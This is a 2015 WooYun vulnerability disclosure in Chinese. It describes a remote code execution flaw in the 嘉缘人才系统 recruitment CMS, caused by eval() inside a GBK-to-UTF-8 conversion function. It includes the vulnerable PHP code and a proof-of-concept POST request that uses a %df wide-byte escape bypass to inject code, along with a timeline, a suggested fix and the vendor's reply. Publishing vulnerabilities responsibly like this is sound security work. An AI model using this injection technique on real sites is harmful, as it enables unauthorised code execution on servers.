当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119192

漏洞标题:嘉缘人才系统最新版命令执行getshell(官方网站重现可执行任意代码)

相关厂商:finereason.com

漏洞作者: 无人知晓

提交时间:2015-06-09 10:58

修复时间:2015-09-11 15:28

公开时间:2015-09-11 15:28

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-13: 厂商已经确认,细节仅向厂商公开
2015-06-16: 细节向第三方安全合作伙伴开放
2015-08-07: 细节向核心白帽子及相关领域专家公开
2015-08-17: 细节向普通白帽子公开
2015-08-27: 细节向实习白帽子公开
2015-09-11: 细节向公众公开

简要描述:

嘉缘人才系统最新版命令执行

详细说明:

漏洞出现在frcms/inc/common.inc.php

function gbktoutf8($str=''){
global $cfg;
if($cfg['charset']=='gbk'){
return eval('return '.iconv('gbk','utf-8',var_export($str,true)).';');
//return @iconv('gbk', 'utf-8', $str);
}else{
return $str;
}
}


这个函数用到了eval将字符编码从gbk转为utf8,若$str可控,就可以构造出命令执行漏洞。
全局搜索代码,终于找到了一个利用的点: /member/company_map.php
代码如下:

if($do=='savemap'){
$map = preg_replace("/[^0-9,:\.-]/i",'',$map);
if($map==''){
showmsg('请先在地图上标注!',"-1",0,2000);exit();
}else{
$mapid=0;
$maps=explode(':',$map);
if(count($maps)>1){
$mapss=explode(',',$maps[1]);
}else{
showmsg('地图坐标数据异常!',"-1",0,2000);exit();
}
$post_data = array('title' => $name,'address' => $address,'ak' => $cfg['baiduak'],'latitude' => trim($mapss[1]),'longitude' => trim($mapss[0]),'coord_type' => 3,'geotable_id' => $cfg['geotable_id']);
require_once(FR_ROOT.'/inc/map.inc.php');
$bmap=new baidu_map();
if($rs=$db->get_one("select * from {$cfg['tb_pre']}member_map where m_mid=$Memberid")){
//修改坐标
$post_data['id']=$rs['m_mapid'];
$mapresult=json_decode(!$rs['m_mapid']?$bmap->create_poi(gbktoutf8($post_data)):$bmap->update_poi(gbktoutf8($post_data)),true);
if($mapresult['status']==0){
$mapid=$mapresult['id'];


$mapresult=json_decode(!$rs['m_mapid']?$bmap->create_poi(gbktoutf8($post_data)):$bmap->update_poi(gbktoutf8($post_data)),true);
这里直接把$post_data带入了gbktoutf8函数中,从代码中可以看到,$post_data是由其他几个参数构成的一个数组。由于这套cms有一个类似全局注册变量的机制,所以我们可以控制这些参数。这里我们可以控制$name来构造命令执行,由于全局开了转义,默认GBK编码,可以通过宽字节%df把转义符吃掉。
我们注册一个企业账户

post请求 http://localhost/frcms/member/?m=company_map&do=savemap&map=2:1  
data: name=a%df'.phpinfo(), %23


漏洞证明:

这里以官方demo站为例

1.png


2.png

修复方案:

不用eval来拼接gbktoutf8

版权声明:转载请注明来源 无人知晓@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-13 15:27

厂商回复:

收到,感谢提交

最新状态:

暂无